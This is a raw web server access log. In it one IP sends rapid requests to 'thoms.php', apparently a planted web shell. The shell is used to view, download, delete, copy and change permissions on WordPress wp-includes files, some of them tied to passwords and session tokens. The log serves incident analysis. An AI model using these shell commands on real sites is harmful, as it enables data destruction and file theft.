45.135.193.11 - - [11/Sep/2026:23:19:31 -0400] "GET /thoms.php?chmod=class-snoopy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-snoopy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:31 -0400] "GET /thoms.php?dl=blocks.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59346 "http://163.245.207.76:443/thoms.php?dl=blocks.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:31 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-snoopy.php HTTP/1.1" 200 21722 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:31 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php HTTP/1.1" 200 13110 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:31 -0400] "GET /thoms.php?del=bookmark.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?del=bookmark.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:31 -0400] "GET /thoms.php?chmod=class-wp-block-parser-block.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-block.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:31 -0400] "GET /thoms.php?del=class-wp-customize-widgets.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:31 -0400] "GET /thoms.php?del=class-wp-icons-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-icons-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:32 -0400] "GET /thoms.php?del=class-snoopy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-snoopy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:32 -0400] "GET /thoms.php?dl=class-wp-hook.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:32 -0400] "GET /thoms.php?chmod=class-wp-network-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:32 -0400] "GET /thoms.php?chmod=class-wp-term-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:32 -0400] "GET /thoms.php?del=class-wp-widget.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59321 "http://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:32 -0400] "GET /thoms.php?del=class-wp.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:32 -0400] "GET /thoms.php?dl=connectors.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?dl=connectors.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:32 -0400] "GET /thoms.php?del=class.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:33 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&upload= HTTP/1.1" 200 12182 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:33 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffonts&p= HTTP/1.1" 200 12278 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:33 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-comment-query.php HTTP/1.1" 200 25419 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:33 -0400] "GET /thoms.php?dl=class-wp-block-parser-block.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-block.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:34 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-default-filters.php HTTP/1.1" 200 13952 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:33 -0400] "GET /thoms.php?del=class-wp-http-curl.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59346 "http://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:33 -0400] "GET /thoms.php?dl=http.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59348 "http://163.245.207.76:443/thoms.php?dl=http.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:34 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-application-passwords.php HTTP/1.1" 200 15894 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fabilities.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fabilities.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:34 -0400] "GET /thoms.php?del=option.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59355 "http://163.245.207.76:443/thoms.php?del=option.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fembed-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fembed-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:34 -0400] "GET /bestzyx.com.tw/wp-includes/media.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:34 -0400] "GET /thoms.php?del=canonical.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=canonical.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:34 -0400] "GET /thoms.php?del=class-walker-nav-menu.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-walker-nav-menu.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:35 -0400] "GET /thoms.php?chmod=view-config.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=view-config.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:35 -0400] "GET /thoms.php?chmod=block-bindings&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=block-bindings&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:35 -0400] "GET /thoms.php?dl=script-modules.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=script-modules.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:35 -0400] "GET /thoms.php?chmod=class-wp-navigation-fallback.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-navigation-fallback.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:35 -0400] "GET /bestzyx.com.tw/wp-includes/ms-default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:35 -0400] "GET /thoms.php?chmod=class-wp-block-styles-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:35 -0400] "GET /thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:35 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:35 -0400] "GET /thoms.php?del=error_log&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=error_log&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:35 -0400] "GET /thoms.php?chmod=class-wp-hook.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-hook.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:36 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php HTTP/1.1" 200 15607 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:36 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Frest-api HTTP/1.1" 200 13858 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-bindings&p= HTTP/1.1" 200 12284 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-bindings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:36 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=abilities-api.php HTTP/1.1" 200 21064 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=abilities-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:36 -0400] "GET /thoms.php?dl=class-wp-comment-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59333 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:36 -0400] "GET /thoms.php?del=https-migration.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=https-migration.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:36 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-site-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-network.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-network.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:37 -0400] "GET /bestzyx.com.tw/wp-includes/revision.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:36 -0400] "GET /thoms.php?del=class-wp-role.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:37 -0400] "GET /bestzyx.com.tw/wp-includes/abilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:37 -0400] "GET /thoms.php?chmod=widgets&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=widgets&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:37 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-comment.php HTTP/1.1" 200 17318 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:37 -0400] "GET /thoms.php?del=css&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=css&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:37 -0400] "GET /thoms.php?chmod=class-wp-view-config-data.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-view-config-data.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:37 -0400] "GET /thoms.php?dl=class-walker-category-dropdown.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fphp-compat&p= HTTP/1.1" 200 12285 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fphp-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:37 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-session-tokens.php HTTP/1.1" 200 14124 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:38 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php HTTP/1.1" 200 17494 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:38 -0400] "GET /thoms.php?chmod=class-wp-widget.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:37 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-email-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:38 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Ffonts HTTP/1.1" 200 14378 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:38 -0400] "GET /thoms.php?del=error-protection.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=error-protection.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:38 -0400] "GET /bestzyx.com.tw/wp-includes/class-IXR.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:38 -0400] "GET /thoms.php?del=ms-default-constants.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59346 "http://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:38 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-parser-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
